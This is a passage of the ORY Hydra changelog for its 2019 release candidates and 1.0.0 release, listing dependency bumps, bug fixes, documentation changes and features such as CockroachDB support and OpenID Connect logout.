notes](https://github.com/mysticatea/eslint-utils/releases) - [Commits](https://github.com/mysticatea/eslint-utils/compare/v1.3.1...v1.4.2) * **deps:** Bump extend from 3.0.1 to 3.0.2 ([#1514](https://github.com/ory/hydra/issues/1514)) ([aecbc07](https://github.com/ory/hydra/commit/aecbc072c54ebd20666ad53d393f507358da6ce3)): Bumps [extend](https://github.com/justmoon/node-extend) from 3.0.1 to 3.0.2. - [Release notes](https://github.com/justmoon/node-extend/releases) - [Changelog](https://github.com/justmoon/node-extend/blob/master/CHANGELOG.md) - [Commits](https://github.com/justmoon/node-extend/compare/v3.0.1...v3.0.2) * **deps:** Bump jackson-version in /sdk/java/hydra-client-resttemplate ([#1505](https://github.com/ory/hydra/issues/1505)) ([aadd1c6](https://github.com/ory/hydra/commit/aadd1c6d72bf8cd460557856f72cf82d767dbc7d)): Bumps `jackson-version` from 2.8.9 to 2.10.0.pr1. Updates `jackson-core` from 2.8.9 to 2.10.0.pr1 - [Release notes](https://github.com/FasterXML/jackson-core/releases) - [Commits](https://github.com/FasterXML/jackson-core/compare/jackson-core-2.8.9...jackson-core-2.10.0.pr1) Updates `jackson-annotations` from 2.8.9 to 2.10.0.pr1 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-databind` from 2.8.9 to 2.10.0.pr1 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-jaxrs-json-provider` from 2.8.9 to 2.10.0.pr1 Updates `jackson-datatype-joda` from 2.8.9 to 2.10.0.pr1 - [Release notes](https://github.com/FasterXML/jackson-datatype-joda/releases) - [Commits](https://github.com/FasterXML/jackson-datatype-joda/compare/jackson-datatype-joda-2.8.9...jackson-datatype-joda-2.10.0.pr1) * **deps:** Bump lodash in /test/e2e/oauth2-client ([#1491](https://github.com/ory/hydra/issues/1491)) ([e4bac7e](https://github.com/ory/hydra/commit/e4bac7ed406c54eee61f30359db652572d5b724f)): Bumps [lodash](https://github.com/lodash/lodash) from 4.17.11 to 4.17.14. - [Release notes](https://github.com/lodash/lodash/releases) - [Commits](https://github.com/lodash/lodash/compare/4.17.11...4.17.14) * **deps:** Bump mixin-deep in /test/e2e/oauth2-client ([#1548](https://github.com/ory/hydra/issues/1548)) ([f47ece1](https://github.com/ory/hydra/commit/f47ece1dc03bf5c8b87612f53eb365d217660b9f)): Bumps [mixin-deep](https://github.com/jonschlinkert/mixin-deep) from 1.3.1 to 1.3.2. - [Release notes](https://github.com/jonschlinkert/mixin-deep/releases) - [Commits](https://github.com/jonschlinkert/mixin-deep/compare/1.3.1...1.3.2) * Enrich oauth2_token_response and params ([#1551](https://github.com/ory/hydra/issues/1551)) ([55873d2](https://github.com/ory/hydra/commit/55873d2744ac98b13ac6ba63e96a0b620fc46f5d)), closes [#1509](https://github.com/ory/hydra/issues/1509) [#1533](https://github.com/ory/hydra/issues/1533): Add IdToken and Scope to oauth2_token_response. These fields are presented in response and should be parsed. Add RefreshToken field to oauth2_token_params. With RefreshToken field we will be able to refresh Access token by providing Refresh token. * Fix migration plan output ([#1504](https://github.com/ory/hydra/issues/1504)) ([e4ae446](https://github.com/ory/hydra/commit/e4ae446ff63530665288b0e87c059faa831f754e)): The output of "migration sql" returned duplicate lines and misassigned migrations to their components. This patch resolves that. * Fix SQL-regression caused by go 1.12.7 ([#1534](https://github.com/ory/hydra/issues/1534)) ([9243dc2](https://github.com/ory/hydra/commit/9243dc24908f116ddb814f8ce65efee93ffc9ce2)) * Fix trailing slash bug in issuer url ([#1552](https://github.com/ory/hydra/issues/1552)) ([02ee452](https://github.com/ory/hydra/commit/02ee452d8061d1a4976eb12ad09b58f9b8dca09c)), closes [#1546](https://github.com/ory/hydra/issues/1546) * Print meaningful error messages on network issues ([#1493](https://github.com/ory/hydra/issues/1493)) ([deb1574](https://github.com/ory/hydra/commit/deb15740f32edb602a2e4592d79ebb9c42433f25)), closes [#1492](https://github.com/ory/hydra/issues/1492) * Upgrade swagger and resolve PHP SDK issues ([#1535](https://github.com/ory/hydra/issues/1535)) ([d4a7d6b](https://github.com/ory/hydra/commit/d4a7d6b8d8197508b91a29903b4d6493dda306cb)), closes [#1480](https://github.com/ory/hydra/issues/1480) [#1532](https://github.com/ory/hydra/issues/1532) [#1508](https://github.com/ory/hydra/issues/1508) * Use commit hash instead of version for link to config ([#1488](https://github.com/ory/hydra/issues/1488)) ([f8b4a3c](https://github.com/ory/hydra/commit/f8b4a3c83fc98b9712c6a165aec34db08c877b64)), closes [#1486](https://github.com/ory/hydra/issues/1486) # [1.0.0](https://github.com/ory/hydra/compare/v1.0.0-rc.16...v1.0.0) (2019-06-24) jwk: Fix JWK deletion in memory manager (#1474) Signed-off-by: Shota Sawada <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-rc.16 ([043c663](https://github.com/ory/hydra/commit/043c6635fa3b1661b4a666f26cebf16c2306bfdb)) ### Unclassified * Add missing html closing tag to token user ([#1479](https://github.com/ory/hydra/issues/1479)) ([724ccc4](https://github.com/ory/hydra/commit/724ccc4a4b5468c1e2728bc64f814d7178d8a895)) * Fix JWK deletion in memory manager ([#1474](https://github.com/ory/hydra/issues/1474)) ([036f763](https://github.com/ory/hydra/commit/036f76359b54fc8d984cfcdd065dac98ed8ef5e5)) # [1.0.0-rc.16](https://github.com/ory/hydra/compare/v1.0.0-rc.15...v1.0.0-rc.16) (2019-06-13) Remove binary license (#1470) ### Documentation * Add a link to Identity Provider "Werther" to community projects ([#1464](https://github.com/ory/hydra/issues/1464)) ([e6cdfe1](https://github.com/ory/hydra/commit/e6cdfe13546ff4dce06456c023bcd9415772b1b1)) * Fix broken benchmark link in readme ([25bce0c](https://github.com/ory/hydra/commit/25bce0c731168608585c1ec3ea41dfb2b4f83d55)), closes [#1465](https://github.com/ory/hydra/issues/1465) ### Unclassified * Remove binary license (#1470) ([3cb5b6d](https://github.com/ory/hydra/commit/3cb5b6df2379c7263d180c69fc3b943e026d2760)), closes [#1470](https://github.com/ory/hydra/issues/1470) * Add option to disable access log for health endpoints ([#1458](https://github.com/ory/hydra/issues/1458)) ([0972750](https://github.com/ory/hydra/commit/097275013ae4d77ed224ca164f77035224b4c5a0)), closes [#1278](https://github.com/ory/hydra/issues/1278): This commit adds an option to disable access log for health endpoints. This is especially helpful in environments like Kubernetes, where special preprocessing filters would be required otherwise. * Add support for B3 headers via JAEGER_PROPAGATION ([#1456](https://github.com/ory/hydra/issues/1456)) ([400c47f](https://github.com/ory/hydra/commit/400c47fb7d125c7fa483df941cbed0819d95dcee)), closes [#1447](https://github.com/ory/hydra/issues/1447): This will provide compatibility with istio. * Bump ory/x to 0.0.64 ([23e0e6a](https://github.com/ory/hydra/commit/23e0e6a883a9c3e8f714b2453e995a0a1846e179)) * Run as non-root user ([#1469](https://github.com/ory/hydra/issues/1469)) ([a6a295c](https://github.com/ory/hydra/commit/a6a295c88b1f4afefceeed845d8c7561410c1ef0)) * Update ory/x to 0.0.63 ([#1467](https://github.com/ory/hydra/issues/1467)) ([a4b3771](https://github.com/ory/hydra/commit/a4b377171bab424e671cda4020b020e595f10040)), closes [#1457](https://github.com/ory/hydra/issues/1457) * Update SDKs and fix PHP namespace ([0b8c287](https://github.com/ory/hydra/commit/0b8c28789c739a956e518395b97ef85b46088cb2)), closes [#1443](https://github.com/ory/hydra/issues/1443) * Update to ory/x 0.0.61 ([#1466](https://github.com/ory/hydra/issues/1466)) ([ea66fd6](https://github.com/ory/hydra/commit/ea66fd6386199379eca2096f07f8a0811027f751)), closes [#1460](https://github.com/ory/hydra/issues/1460) # [1.0.0-rc.15](https://github.com/ory/hydra/compare/v1.0.0-rc.14...v1.0.0-rc.15) (2019-06-05) cli: Use go templates in token user (#1461) ### Documentation * Fix link to system secret rotation ([#1459](https://github.com/ory/hydra/issues/1459)) ([bc92052](https://github.com/ory/hydra/commit/bc92052c4b06f8d36694138600a6db6e02e3e884)): The following link no longer exists https://www.ory.sh/docs/hydra/advanced#system-secret-rotation New link is here https://www.ory.sh/docs/hydra/advanced#rotation-of-hmac-token-signing-and-database-and-cookie-encryption-keys * Incorporates changes from version v1.0.0-rc.14 ([51c071f](https://github.com/ory/hydra/commit/51c071f639c3dbe4d0e8e9b941056e768c992447)) * Updates issue and pull request templates ([#1450](https://github.com/ory/hydra/issues/1450)) ([1cc412f](https://github.com/ory/hydra/commit/1cc412f650fbd73d236f38211688c334a554c9c9)) * Updates issue and pull request templates ([#1451](https://github.com/ory/hydra/issues/1451)) ([5ac9a92](https://github.com/ory/hydra/commit/5ac9a92b98bde4399b94efb1574f2dcd580a28cb)) * Updates issue and pull request templates ([#1452](https://github.com/ory/hydra/issues/1452)) ([6798948](https://github.com/ory/hydra/commit/67989486a24c0bf8b53c2d0b0089beaa9a48bc58)) ### Unclassified * oauth2: Don't show registration_endpoint if config is undefined (#1449) ([6d46786](https://github.com/ory/hydra/commit/6d46786f2a7675760a4a29d2494be7b6583f04eb)), closes [#1449](https://github.com/ory/hydra/issues/1449) [#1448](https://github.com/ory/hydra/issues/1448) * Create SECURITY.md ([c820448](https://github.com/ory/hydra/commit/c820448e2178df86bfd1b6af9dbbc0fe0479a7ef)) * **deps:** Bump jackson-version in /sdk/java/hydra-client-resttemplate ([#1453](https://github.com/ory/hydra/issues/1453)) ([4da16e0](https://github.com/ory/hydra/commit/4da16e001bfd9a80d8a02c730f3e677703270431)): Bumps `jackson-version` from 2.8.9 to 2.9.9. Updates `jackson-core` from 2.8.9 to 2.9.9 - [Release notes](https://github.com/FasterXML/jackson-core/releases) - [Commits](https://github.com/FasterXML/jackson-core/compare/jackson-core-2.8.9...jackson-core-2.9.9) Updates `jackson-annotations` from 2.8.9 to 2.9.9 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-databind` from 2.8.9 to 2.9.9 - [Release notes](https://github.com/FasterXML/jackson/releases) - [Commits](https://github.com/FasterXML/jackson/commits) Updates `jackson-jaxrs-json-provider` from 2.8.9 to 2.9.9 Updates `jackson-datatype-joda` from 2.8.9 to 2.9.9 - [Release notes](https://github.com/FasterXML/jackson-datatype-joda/releases) - [Commits](https://github.com/FasterXML/jackson-datatype-joda/compare/jackson-datatype-joda-2.8.9...jackson-datatype-joda-2.9.9) * Support default jaeger environment variables ([#1442](https://github.com/ory/hydra/issues/1442)) ([ba2d49b](https://github.com/ory/hydra/commit/ba2d49bddba826166c849db4601f9b432aa1cc3d)) * Use go templates in token user ([#1461](https://github.com/ory/hydra/issues/1461)) ([e31d2cc](https://github.com/ory/hydra/commit/e31d2cc25e3cd1e4e9f5e65daaec66eb25adf494)) # [1.0.0-rc.14](https://github.com/ory/hydra/compare/v1.0.0-rc.12...v1.0.0-rc.14) (2019-05-18) ci: Resolve goreleaser issues (#1445) ### Continuous Integration * Resolve goreleaser issues ([#1445](https://github.com/ory/hydra/issues/1445)) ([84d9cdf](https://github.com/ory/hydra/commit/84d9cdf79c7962f40440b946fd233ec2b858bf81)) ### Documentation * Incorporates changes from version v1.0.0-rc.12 ([d6cfb82](https://github.com/ory/hydra/commit/d6cfb82390ef55e28ae2273e2edf433aec83d74a)) * Updates issue and pull request templates ([#1432](https://github.com/ory/hydra/issues/1432)) ([bf926c4](https://github.com/ory/hydra/commit/bf926c4a067bac2d8e0dd71fa927cb5c7a2fa221)) ### Unclassified * Fix missing and broken swagger annotations ([#1440](https://github.com/ory/hydra/issues/1440)) ([b5cb153](https://github.com/ory/hydra/commit/b5cb1534cc243202e90da10015aa8895fbbd9b66)), closes [#1435](https://github.com/ory/hydra/issues/1435) * Update module definitions ([#1441](https://github.com/ory/hydra/issues/1441)) ([217e462](https://github.com/ory/hydra/commit/217e462d8b27069760f9a2afae7212d3ec49e845)) # [1.0.0-rc.12](https://github.com/ory/hydra/compare/v0.0.1...v1.0.0-rc.12) (2019-05-10) all: add CockroachDB support (#1348) Closes #1326 Signed-off-by: David López <[email protected]> ### Unclassified * sdk/php: Fixed namespace (#1431) ([53b11cf](https://github.com/ory/hydra/commit/53b11cf2fe220454c7203f3e6d600fcc77c6b3f7)), closes [#1431](https://github.com/ory/hydra/issues/1431) [#1429](https://github.com/ory/hydra/issues/1429) * Add CockroachDB support ([#1348](https://github.com/ory/hydra/issues/1348)) ([f8f2363](https://github.com/ory/hydra/commit/f8f23630d80f8980786ef85a49597f9b6b3eec7b)), closes [#1326](https://github.com/ory/hydra/issues/1326) * Allow to set the client's post-logout URIs ([#1427](https://github.com/ory/hydra/issues/1427)) ([82963ad](https://github.com/ory/hydra/commit/82963adb2f822520f05ea6824e44e557545bb4af)) * Corrected oidc discovery claims and scope values ([#1428](https://github.com/ory/hydra/issues/1428)) ([b405190](https://github.com/ory/hydra/commit/b40519074fc13155acc6ffa1c8bfc9a906c417ae)): Signed-off-by: André Filipe Easypay <[email protected]> * Remove go sdk submodule ([#1430](https://github.com/ory/hydra/issues/1430)) ([faaf7a4](https://github.com/ory/hydra/commit/faaf7a4f81ed0350592ce14879c7cf1b43308ecd)) # [0.0.1](https://github.com/ory/hydra/compare/v1.0.0-rc.11...v0.0.1) (2019-05-08) sdk/go: Add go.mod definition in sdk directory (#1425) Closes #1422 Signed-off-by: aeneasr <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-rc.11 ([67c246c](https://github.com/ory/hydra/commit/67c246c177446daab64be00ba82b3aea1a546570)) * Update cors values in config.yml ([84573d9](https://github.com/ory/hydra/commit/84573d9a578a2c447e45c1bd60810556a4de941b)) ### Unclassified * sdk/go: Add go.mod definition in sdk directory (#1425) ([5eeb162](https://github.com/ory/hydra/commit/5eeb162ccef637f04d960ba1c6579af3c730c13a)), closes [#1425](https://github.com/ory/hydra/issues/1425) [#1422](https://github.com/ory/hydra/issues/1422) * Add "Content-Type" to default allowed cors headers ([45bd863](https://github.com/ory/hydra/commit/45bd8634bcd18a2fdac0ce6c0662bab0e64a3dcd)), closes [#1421](https://github.com/ory/hydra/issues/1421) * Correct debug var ([fa10d9d](https://github.com/ory/hydra/commit/fa10d9d36341785f1f2c889a9c841b0b8dd0ef96)) * Fix broken cors option test ([#1423](https://github.com/ory/hydra/issues/1423)) ([b96724b](https://github.com/ory/hydra/commit/b96724bb9ec3c9207c8c5c0536cb0cc0f6dc273b)) # [1.0.0-rc.11](https://github.com/ory/hydra/compare/v1.0.0-rc.10...v1.0.0-rc.11) (2019-05-02) consent: Resolve nil pointer panic in logout flow (#1418) Closes #1403 Signed-off-by: aeneasr <[email protected]> ### Documentation * Add OIDC FC/BC changes to upgrade guide ([#1401](https://github.com/ory/hydra/issues/1401)) ([187c30e](https://github.com/ory/hydra/commit/187c30e5bdf248d51b1cad71da237d57e4372e9b)) * Incorporates changes from version v1.0.0-rc.10 ([a81ea40](https://github.com/ory/hydra/commit/a81ea4039b48cf8a1af36f3ea3a6c7c2cd87c49a)) * Ttl is a top-level config value ([#1407](https://github.com/ory/hydra/issues/1407)) ([9f913c6](https://github.com/ory/hydra/commit/9f913c69df047e0193e24092067807e0b19e2a19)): Don't nest it under oauth2 section ### Unclassified * Add tests for consecutive login/consent requests with skip ([32e23bc](https://github.com/ory/hydra/commit/32e23bcb8bb4f574d5d1b26459acd1290b970a7b)): This adds tests for making sure that future releases don't regress on the session logic. * Do not confirmLoginSession when skip is true ([#1414](https://github.com/ory/hydra/issues/1414)) ([1f52832](https://github.com/ory/hydra/commit/1f528321bb3ac38e8018bd33e953dc061ce9df6c)), closes [#1409](https://github.com/ory/hydra/issues/1409): Resolves a regression issue introduced by OpenID Connect Front/Back-Channel Logout. * Fix fallback routes and templates ([#1402](https://github.com/ory/hydra/issues/1402)) ([64f3138](https://github.com/ory/hydra/commit/64f31388d4427c359162c2dc7c44fdcac906fcc0)) * Remove duplicates JWKS IDs from wellknown config ([b5c2565](https://github.com/ory/hydra/commit/b5c25651221788370f78ebc18437aff3052118cc)), closes [#1413](https://github.com/ory/hydra/issues/1413) * Resolve nil pointer panic in logout flow ([#1418](https://github.com/ory/hydra/issues/1418)) ([33acfa8](https://github.com/ory/hydra/commit/33acfa8d18cb8b3f7896de813d4e8f61f19dde0c)), closes [#1403](https://github.com/ory/hydra/issues/1403) * Update migrate sql flag -e help message ([#1412](https://github.com/ory/hydra/issues/1412)) ([025acfb](https://github.com/ory/hydra/commit/025acfb23dd9debcdbc6aaaa9f5571481b061dff)): Updates `hydra migrate sql -e` command message to indicate that environment flag will pull from config file. * Use sane default settings for CORS options ([#1417](https://github.com/ory/hydra/issues/1417)) ([ed6e815](https://github.com/ory/hydra/commit/ed6e8153f1f9318851692c9f31dc60070ed32680)), closes [#1400](https://github.com/ory/hydra/issues/1400) # [1.0.0-rc.10](https://github.com/ory/hydra/compare/v1.0.0-rc.9+oryOS.10...v1.0.0-rc.10) (2019-04-29) docker: Remove full tag from build pipeline Signed-off-by: aeneasr <[email protected]> ### Documentation * Incorporates changes from version v1.0.0-rc.9+oryOS.10 ([70d5aaf](https://github.com/ory/hydra/commit/70d5aaf7cb512f226ed1847f15dbb53515c82318)) * Update upgrade guide ([7a77fa0](https://github.com/ory/hydra/commit/7a77fa0e14f5310ff6ac203151afa901190b8060)) * Update upgrade guide for rc.10 ([9851f9b](https://github.com/ory/hydra/commit/9851f9be591ca3ff63ced7326a4259810b9287aa)) ### Unclassified * Use --yes flag for migrations everywhere ([c7e7aa0](https://github.com/ory/hydra/commit/c7e7aa0a035742c58e7bc3c3663f3dd6f42ef08d)) * Improve e2e test performance (#1392) ([a4a75d4](https://github.com/ory/hydra/commit/a4a75d4368429ed60b71e010f85ec86ab0acb5b0)), closes [#1392](https://github.com/ory/hydra/issues/1392) [#1389](https://github.com/ory/hydra/issues/1389) * Implement OpenID Connect Front-/Backchannel logout (#1376) ([bbeee65](https://github.com/ory/hydra/commit/bbeee653de32aa8d6eb172b836257b7bfa4c5df3)), closes [#1376](https://github.com/ory/hydra/issues/1376) [#1368](https://github.com/ory/hydra/issues/1368) [#1004](https://github.com/ory/hydra/issues/1004) [#834](https://github.com/ory/hydra/issues/834) * Fix contributors url (#1385) ([5a29608](https://github.com/ory/hydra/commit/5a29608bb3afa1d4e7b64a033bcfae8430315310)), closes [#1385](https://github.com/ory/hydra/issues/1385) * Update quickstart.yml ([f5013e4](https://github.com/ory/hydra/commit/f5013e4d633c65097bda3c92a45a2d97a31ab30f)) * Add migration planning ([a4a2717](https://github.com/ory/hydra/commit/a4a27179d9fcd592e3da81043b0ece58f1f55e7e)), closes [#1139](https://github.com/ory/hydra/issues/1139) * Advertise all path in sqa ([2c09d20](https://github.com/ory/hydra/commit/2c09d208e37a9b7f75ab64362df2d203bbfd0421)) * Allow prompt=none for public clients ([#1391](https://github.com/ory/hydra/issues/1391)) ([6cfd03e](https://github.com/ory/hydra/commit/6cfd03e0cfc51d836d1e0b8e9c9dee0d856ae0cf)), closes [#1366](https://github.com/ory/hydra/issues/1366) [#1364](https://github.com/ory/hydra/issues/1364) * Fix help text on migrate cmd ([#1372](https://github.com/ory/hydra/issues/1372)) ([14f494c](https://github.com/ory/hydra/commit/14f494ce9039d8b77347dc26705e259340bacb63)) * Format javascript test code ([9e829a9](https://github.com/ory/hydra/commit/9e829a90aabb8a37da0e60538d9ab7cc312beb90)) * Ignore sdk directory when generating OA spec ([#1394](https://github.com/ory/hydra/issues/1394)) ([ab87306](https://github.com/ory/hydra/commit/ab87306fb160cf383806d5714ce502819a19a606)), closes [#1384](https://github.com/ory/hydra/issues/1384): Previously, the SDK directory was included when generating the Swagger specification. This caused issues due to duplicate models. This patch resolves that issue. * Make clear that refresh tokens are introspectable ([#1390](https://github.com/ory/hydra/issues/1390)) ([98390be](https://github.com/ory/hydra/commit/98390be25becb49aac640ef7fbbb15e6e28ff6df)), closes [#1250](https://github.com/ory/hydra/issues/1250) * Move to query parameters ([#1375](https://github.com/ory/hydra/issues/1375)) ([067e498](https://github.com/ory/hydra/commit/067e4983792e5527a9f024bda5255913fb2e4713)): Previously, user and client were sent as path parameters on consent and login lifecycle endpoints. This patch uses query parameters instead. This allows developers to use users with slashes and dots without causing issues with the URI path. * Remove full tag from build pipeline ([3e534c1](https://github.com/ory/hydra/commit/3e534c10343991f02efa409bf0d76499b42a363c)) * Resolve memory leak in gorilla/sessions ([#1374](https://github.com/ory/hydra/issues/1374)) ([e745aee](https://github.com/ory/hydra/commit/e745aeeb08cfbbd46b617f16aa1c0bb3a1afed7f)), closes [#1363](https://github.com/ory/hydra/issues/1363) * Update jaeger tracing docker compose file ([17eaee6](https://github.com/ory/hydra/commit/17eaee6028ea755a56156d193d6d703d2b78ca2f)) * Use proper key name when JWT is enabled ([#1373](https://github.com/ory/hydra/issues/1373)) ([d27224e](https://github.com/ory/hydra/commit/d27224ec68ac6061d6574695bd554c23ea943141)), closes [#1371](https://github.com/ory/hydra/issues/1371) [#1369](https://github.com/ory/hydra/issues/1369) # [1.0.0-rc.9+oryOS.10](https://github.com/ory/hydra/compare/v1.0.0-rc.8+oryOS.10...v1.0.0-rc.9+oryOS.10) (2019-04-18) ven dor: Fix pagination headers (#1362) Closes #1361 Signed-off-by: Kevin Minehart <[email protected]> ### Documentation * Fix environment variable DATABASE_URL to DSN ([#1343](https://github.com/ory/hydra/issues/1343)) ([f964c69](https://github.com/ory/hydra/commit/f964c69f07a14d8ff71367e97071cb0207f62734)) * Incorporates changes from version v1.0.0-rc.8+oryOS.10 ([367e94c](https://github.com/ory/hydra/commit/367e94c2eb8275c0cfb4956eee73b3618e80029a)) ### Unclassified * ven dor: Fix pagination headers (#1362) ([9c6e4c1](https://github.com/ory/hydra/commit/9c6e4c120c12b37b349bb7dd2695cd52ed2fc0ea)), closes [#1362](https://github.com/ory/hydra/issues/1362) [#1361](https://github.com/ory/hydra/issues/1361) * Add package-lock.json (#1352) ([a9658ba](https://github.com/ory/hydra/commit/a9658ba93435df34feee5023ed9b2f3009fee7c1)), closes [#1352](https://github.com/ory/hydra/issues/1352) * Add ability to share data from login to consent request ([#1353](https://github.com/ory/hydra/issues/1353)) ([20aaa46](https://github.com/ory/hydra/commit/20aaa46eaeeddf6a1c05cf2eb3df14bcd6638ff1)), closes [#1003](https://github.com/ory/hydra/issues/1003) * Add pagination headers to list results ([#1358](https://github.com/ory/hydra/issues/1358)) ([f1ee77c](https://github.com/ory/hydra/commit/f1ee77c0ba74ac1f6d29ea62bcd038c4550b4305)), closes [#1047](https://github.com/ory/hydra/issues/1047) * Add resilience to CLI REST commands ([#1359](https://github.com/ory/hydra/issues/1359)) ([d84ff4c](https://github.com/ory/hydra/commit/d84ff4c5b9825ebf657fbecea6236793140e72fe)), closes [#846](https://github.com/ory/hydra/issues/846) * Allow whitelisting insecure redirect URLs ([#1354](https://github.com/ory/hydra/issues/1354)) ([cb2ad55](https://github.com/ory/hydra/commit/cb2ad555ce12f44af90f61ef73e7e2904af70a2c)), closes [#1021](https://github.com/ory/hydra/issues/1021): This patch enables developers to whitelist insecure redirect URLs while using flag `--dangerous-force-http`. * Expose revocation endpoint at OIDC Discover ([#1356](https://github.com/ory/hydra/issues/1356)) ([27f3a05](https://github.com/ory/hydra/commit/27f3a05a3ebc042a71daaaacbdc427f75a07d1c0)), closes [#12678](https://github.com/ory/hydra/issues/12678) * Expose revocation endpoint at OIDC Discovery ([#1355](https://github.com/ory/hydra/issues/1355)) ([957a2d6](https://github.com/ory/hydra/commit/957a2d670a4be8c6e1a30b2df222fc566e13b8a1)), closes [#12678](https://github.com/ory/hydra/issues/12678) * Initialize everything on start up ([#1350](https://github.com/ory/hydra/issues/1350)) ([6a16b1e](https://github.com/ory/hydra/commit/6a16b1ee0575be4fa59e85a132c9e390f20a6889)), closes [#1349](https://github.com/ory/hydra/issues/1349) * Introduce install-stable and install tasks ([#1346](https://github.com/ory/hydra/issues/1346)) ([fe720cb](https://github.com/ory/hydra/commit/fe720cb0185393d08a77b94081aa2625c83d5475)) * Move to go-swagger code generator ([#1347](https://github.com/ory/hydra/issues/1347)) ([6829a58](https://github.com/ory/hydra/commit/6829a58622889dbce606083e4b0199aab0a7d296)) * Reenable -c cli flag ([#1345](https://github.com/ory/hydra/issues/1345)) ([a0d614f](https://github.com/ory/hydra/commit/a0d614fcac52b9f1ad8dca052e6b41bc905d8eba)), closes [#1344](https://github.com/ory/hydra/issues/1344) * Use query parameters for challenges ([#1351](https://github.com/ory/hydra/issues/1351)) ([d88fb12](https://github.com/ory/hydra/commit/d88fb128f26793e2f313c63ede0906782280d9b9)), closes [#1307](https://github.com/ory/hydra/issues/1307) # [1.0.0-rc.8+oryOS.10](https://github.com/ory/hydra/compare/v1.0.0-rc.7+oryOS.10...v1.0.0-rc.8+oryOS.10) (2019-04-03) ci: Fix broken version info in build (#1342) Signed-off-by: aeneasr <[email protected]> ### Continuous Integration * Fix broken version info in build ([#1342](https://github.com/ory/hydra/issues/1342)) ([f3264be](https://github.com/ory/hydra/commit/f3264bef920d49fd1683ee14ef89ca3030cbd3f1)) ### Documentation * Incorporates changes from version v1.0.0-rc.7+oryOS.10 ([16ec81b](https://github.com/ory/hydra/commit/16ec81b65828c34b6052bd449a4c4a7807c3fd19)) # [1.0.0-rc.7+oryOS.10](https://github.com/ory/hydra/compare/v1.0.0-rc.6+oryOS.10...v1.0.0-rc.7+oryOS.10) (2019-04-02) ci: Use yaml in configuration docs runner ### Continuous Integration * Use yaml in configuration docs runner ([e79f025](https://github.com/ory/hydra/commit/e79f025e71b896bdf7fa0bff9f29fe86a125214e)) ### Documentation * Incorporates changes from version v0.0.0-testrelease.6+oryOS.0 ([55ddff2](https://github.com/ory/hydra/commit/55ddff2949f13ec5fd73288e78a0224e456c2a1f)) * Incorporates changes from version v1.0.0-rc.6+oryOS.10 ([8a5a92d](https://github.com/ory/hydra/commit/8a5a92d9866ac6f17b870162dd5bf483f866486c)) * Update docs how to serve with in memory database ([52d62a4](https://github.com/ory/hydra/commit/52d62a4845db82c2fea7817ec0e34741c8382dc9)) * Update installation guide ([001a22f](https://github.com/ory/hydra/commit/001a22f33d62adbf8735e166cc24528eea0cfef7)) * Update patrons ([685c6da](https://github.com/ory/hydra/commit/685c6dae6939baae26f79349ae432c9ad0efdc10)) ### Unclassified * Update CHANGELOG.md ([bddf773](https://github.com/ory/hydra/commit/bddf7739ec312d73c68a1c9238ecb1b496e28055)) * Improve release pipeline and update changelog (#1341) ([513afe0](https://github.com/ory/hydra/commit/513afe0d34ac09cedc0af6b072ff0931bf37c4a5)), closes [#1341](https://github.com/ory/hydra/issues/1341) * Resolve sql testing race issues (#1332) ([22c0487](https://github.com/ory/hydra/commit/22c0487c7bc2400d3ae46f89587a774d07a35ded)), closes [#1332](https://github.com/ory/hydra/issues/1332) * Add shell installer to repo for curl | bash (#1330) ([13f297f](https://github.com/ory/hydra/commit/13f297f340e06af01f6f56967cecf6c7b8cce1a3)), closes [#1330](https://github.com/ory/hydra/issues/1330) * Improve configuration and service management (#1314) ([95a51de](https://github.com/ory/hydra/commit/95a51deb3100034db5c6d98bbd7838a3b43249ce)), closes [#1314](https://github.com/ory/hydra/issues/1314) [#1316](https://github.com/ory/hydra/issues/1316) [#1327](https://github.com/ory/hydra/issues/1327) [#1244](https://github.com/ory/hydra/issues/1244) [#1289](https://github.com/ory/hydra/issues/1289) [#1309](https://github.com/ory/hydra/issues/1309) [#1107](https://github.com/ory/hydra/issues/1107) [#1196](https://github.com/ory/hydra/issues/1196) [#1121](https://github.com/ory/hydra/issues/1121): This patch significantly refactors internal configuration and service management with the goal of making configuration changes possible without service restarts. This patch prepares the possibility to configure ORY Hydra from a remote source (etcd, consul) and watch for changes. This patch also introduces the possibility to configure ORY Hydra from a configuration file on top of environment variables. The following issues have been fixed as well: * Add --allowed-cors-origins to `client create` ([#1290](https://github.com/ory/hydra/issues/1290)) ([c174f96](https://github.com/ory/hydra/commit/c174f96e6e8ab31aa362c7a5d32e5637984aab5b)): This allows the creation of clients permitted to make CORS requests from specific domains. * Add check for empty subject in AcceptLoginRequest ([#1308](https://github.com/ory/hydra/issues/1308)) ([1d963c2](https://github.com/ory/hydra/commit/1d963c29dd367fec201d37113bea797fba247a9e)), closes [#1254](https://github.com/ory/hydra/issues/1254) * Add client secret encryption option ([#1322](https://github.com/ory/hydra/issues/1322)) ([468076e](https://github.com/ory/hydra/commit/468076e66e3c2ea0a5a287576998106984e092e2)), closes [#1317](https://github.com/ory/hydra/issues/1317) * Add clients list command ([#1311](https://github.com/ory/hydra/issues/1311)) ([21a14a1](https://github.com/ory/hydra/commit/21a14a156859656ca20ab534872e13f54ed3b474)), closes [#1310](https://github.com/ory/hydra/issues/1310) * Better defaults for consent denied errors ([#1297](https://github.com/ory/hydra/issues/1297)) ([0fc875a](https://github.com/ory/hydra/commit/0fc875ab525a62a07500df92058d21a584eaaaf9)), closes [#1285](https://github.com/ory/hydra/issues/1285) * Bump alpine version ([#1291](https://github.com/ory/hydra/issues/1291)) ([e0d3b0d](https://github.com/ory/hydra/commit/e0d3b0d5916563351e840618400afcefbe3ce8e8)): https://www.alpinelinux.org/posts/Alpine-3.9.0-released.html * Bump base docker image versions ([d021022](https://github.com/ory/hydra/commit/d021022b0fac204621f98f16a7aa7db31e53ba06)) * Bump golang to 1.12.0 ([#1293](https://github.com/ory/hydra/issues/1293)) ([f6db6d3](https://github.com/ory/hydra/commit/f6db6d38eb45918b52562fa2a0018be4baa5c8c1)): https://golang.org/doc/go1.12 * Bump Golang to 1.12.1 ([#1315](https://github.com/ory/hydra/issues/1315)) ([a073966](https://github.com/ory/hydra/commit/a0739661340f67ff541a4987e1c8bd224d8b9851)), closes [/golang.org/doc/devel/release.html#go1](https://github.com//golang.org/doc/devel/release.html/issues/go1) * 